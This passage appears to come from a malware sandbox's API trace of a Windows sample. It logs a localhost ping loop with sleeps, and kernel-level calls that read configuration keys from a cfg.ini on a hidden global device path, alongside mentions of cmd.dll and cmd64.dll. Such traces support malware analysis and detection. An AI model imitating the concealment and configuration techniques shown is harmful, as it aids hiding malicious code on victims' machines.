(hMem=0x2d84c0) returned 0x0 [0127.566] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0127.566] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0127.566] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0127.566] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0127.566] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0127.566] LocalFree (hMem=0x2d84c0) returned 0x0 [0127.566] Sleep (dwMilliseconds=0x3e8) [0128.567] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0128.584] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0128.584] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Hõ)") returned 0x16 [0128.584] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f548, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0128.584] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0128.584] _write (in: _FileHandle=1, _Buf=0x29f548*, _MaxCharCount=0x16 | out: _Buf=0x29f548*) returned 22 [0128.585] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0128.585] LocalFree (hMem=0x29f548) returned 0x0 [0128.585] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0128.585] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0128.585] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0128.585] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0128.585] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0128.585] LocalFree (hMem=0x2d84c0) returned 0x0 [0128.585] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="À\x84-") returned 0x9 [0128.585] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0128.585] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0128.585] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0128.585] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0128.585] LocalFree (hMem=0x2d84c0) returned 0x0 [0128.585] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0128.585] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0128.585] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0128.585] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0128.586] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0128.586] LocalFree (hMem=0x2d84c0) returned 0x0 [0128.586] Sleep (dwMilliseconds=0x3e8) [0129.596] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0129.616] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0129.616] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Hõ)") returned 0x16 [0129.616] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f548, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0129.616] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0129.616] _write (in: _FileHandle=1, _Buf=0x29f548*, _MaxCharCount=0x16 | out: _Buf=0x29f548*) returned 22 [0129.616] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0129.616] LocalFree (hMem=0x29f548) returned 0x0 [0129.616] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0129.616] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0129.616] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0129.616] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0129.617] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0129.617] LocalFree (hMem=0x2d84c0) returned 0x0 [0129.617] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="À\x84-") returned 0x9 [0129.617] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0129.617] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0129.617] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0129.617] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0129.617] LocalFree (hMem=0x2d84c0) returned 0x0 [0129.617] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0129.617] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0129.617] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0129.617] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0129.617] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0129.617] LocalFree (hMem=0x2d84c0) returned 0x0 [0129.617] Sleep (dwMilliseconds=0x3e8) [0130.766] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0130.790] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0130.790] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Hõ)") returned 0x16 [0130.790] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f548, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0130.790] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0130.790] _write (in: _FileHandle=1, _Buf=0x29f548*, _MaxCharCount=0x16 | out: _Buf=0x29f548*) returned 22 [0130.791] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0130.791] LocalFree (hMem=0x29f548) returned 0x0 [0130.791] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0130.791] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0130.791] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0130.791] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0130.791] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0130.791] LocalFree (hMem=0x2d84c0) returned 0x0 [0130.791] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="À\x84-") returned 0x9 [0130.791] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0130.791] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0130.791] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0130.792] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0130.792] LocalFree (hMem=0x2d84c0) returned 0x0 [0130.792] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0130.792] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0130.792] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0130.792] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0130.792] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0130.792] LocalFree (hMem=0x2d84c0) returned 0x0 [0130.792] Sleep (dwMilliseconds=0x3e8) Thread: id = 342 os_tid = 0x584 Thread: id = 349 os_tid = 0x5a0 [0097.631] QueueUserWorkItem (Function=0x18551, Context=0x0, Flags=0x10) returned 1 Thread: id = 350 os_tid = 0x5a4 [0097.704] CreateMutexA (lpMutexAttributes=0x101fa3c, bInitialOwner=0, lpName="Global\\C3819288-93FA-4E29-A254-BD9476B53C20") returned 0x130 [0097.705] GetLastError () returned 0xb7 [0097.705] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880040e8000 [0097.705] IdePortDispatch () returned 0x103 [0097.706] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0xffffffff) returned 0x0 [0097.706] GetPrivateProfileStringA (in: lpAppName="cmd", lpKeyName="bsh", lpDefault="noname", lpReturnedString=0x237f8, nSize=0x3ff, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="noname") returned 0x6 [0097.706] _snprintf (in: _Dest=0xfffff880027da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.706] KeEnterCriticalRegion () [0097.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.706] KeInitializeEvent (in: Event=0xfffff880027da2c0, Type=0x0, State=0 | out: Event=0xfffff880027da2c0) [0097.706] IdePortDispatch () returned 0x103 [0097.706] KeWaitForMutexObject () returned 0x0 [0097.706] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.706] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.706] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.706] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0097.706] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0097.707] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038e2c60 [0097.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.707] KeLeaveCriticalRegion () [0097.707] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.707] _snprintf (in: _Dest=0xfffff880027da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.707] KeEnterCriticalRegion () [0097.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.707] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0097.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.707] KeLeaveCriticalRegion () [0097.707] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.707] KeEnterCriticalRegion () [0097.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.707] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.707] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.707] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.707] KeInitializeEvent (in: Event=0xfffff880027da620, Type=0x0, State=0 | out: Event=0xfffff880027da620) [0097.707] IdePortDispatch () returned 0x103 [0097.707] KeWaitForMutexObject () returned 0x0 [0097.707] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.708] KeLeaveCriticalRegion () [0097.708] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.708] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.708] KeEnterCriticalRegion () [0097.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.708] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880040f7000 [0097.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.708] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0097.708] IdePortDispatch () returned 0x103 [0097.708] KeWaitForMutexObject () returned 0x0 [0097.708] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.708] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0097.708] IdePortDispatch () returned 0x103 [0097.709] KeWaitForMutexObject () returned 0x0 [0097.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.709] KeLeaveCriticalRegion () [0097.709] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.709] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.709] KeEnterCriticalRegion () [0097.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.709] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0097.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.709] KeLeaveCriticalRegion () [0097.709] _snprintf (in: _Dest=0xfffff880027da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.709] KeEnterCriticalRegion () [0097.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.709] IoGetRequestorProcess (Irp=0xfffffa8003671350) returned 0xfffffa800389eb30 [0097.709] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038e13e0, ProcessId=0xfffffa800389eb30, Context=0x0) returned 0xc000007e [0097.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.709] KeLeaveCriticalRegion () [0097.709] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.710] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.710] KeEnterCriticalRegion () [0097.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.710] ExFreePoolWithTag (P=0xfffffa80038e2c60, Tag=0x0) [0097.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.710] KeLeaveCriticalRegion () [0097.710] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.714] ReleaseMutex (hMutex=0x130) returned 1 [0097.714] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0xffffffff) returned 0x0 [0097.714] GetPrivateProfileStringA (in: lpAppName="main", lpKeyName="aid", lpDefault="10000", lpReturnedString=0x233f8, nSize=0x3ff, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="66671") returned 0x5 [0097.715] _snprintf (in: _Dest=0xfffff880027da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.715] KeEnterCriticalRegion () [0097.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.715] KeInitializeEvent (in: Event=0xfffff880027da2c0, Type=0x0, State=0 | out: Event=0xfffff880027da2c0) [0097.715] IdePortDispatch () returned 0x103 [0097.715] KeWaitForMutexObject () returned 0x0 [0097.715] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.715] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.715] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.715] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0097.715] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0097.715] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038ef0d0 [0097.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.715] KeLeaveCriticalRegion () [0097.715] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.715] _snprintf (in: _Dest=0xfffff880027da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.716] KeEnterCriticalRegion () [0097.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.716] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0097.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.716] KeLeaveCriticalRegion () [0097.716] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.716] KeEnterCriticalRegion () [0097.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.716] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.716] KeInitializeEvent (in: Event=0xfffff880027da620, Type=0x0, State=0 | out: Event=0xfffff880027da620) [0097.716] IdePortDispatch () returned 0x103 [0097.716] KeWaitForMutexObject () returned 0x0 [0097.716] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.716] KeLeaveCriticalRegion () [0097.716] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.716] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.716] KeEnterCriticalRegion () [0097.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.717] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b35000 [0097.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.717] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0097.717] IdePortDispatch () returned 0x103 [0097.717] KeWaitForMutexObject () returned 0x0 [0097.717] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.717] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0097.717] IdePortDispatch () returned 0x103 [0097.717] KeWaitForMutexObject () returned 0x0 [0097.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.718] KeLeaveCriticalRegion () [0097.718] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.718] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.718] KeEnterCriticalRegion () [0097.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.718] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0097.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.718] KeLeaveCriticalRegion () [0097.718] _snprintf (in: _Dest=0xfffff880027da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.718] KeEnterCriticalRegion () [0097.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.718] IoGetRequestorProcess (Irp=0xfffffa8003671350) returned 0xfffffa800389eb30 [0097.718] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038edaf0, ProcessId=0xfffffa800389eb30, Context=0x0) returned 0xc000007e [0097.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.718] KeLeaveCriticalRegion () [0097.718] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.718] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.718] KeEnterCriticalRegion () [0097.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.718] ExFreePoolWithTag (P=0xfffffa80038ef0d0, Tag=0x0) [0097.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.718] KeLeaveCriticalRegion () [0097.718] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.718] ReleaseMutex (hMutex=0x130) returned 1 [0097.718] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0xffffffff) returned 0x0 [0097.718] GetPrivateProfileStringA (in: lpAppName="main", lpKeyName="sid", lpDefault="0", lpReturnedString=0x22ff8, nSize=0x3ff, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="0") returned 0x1 [0097.719] _snprintf (in: _Dest=0xfffff880027da450, _Count=0x103, _Format="%.*S" 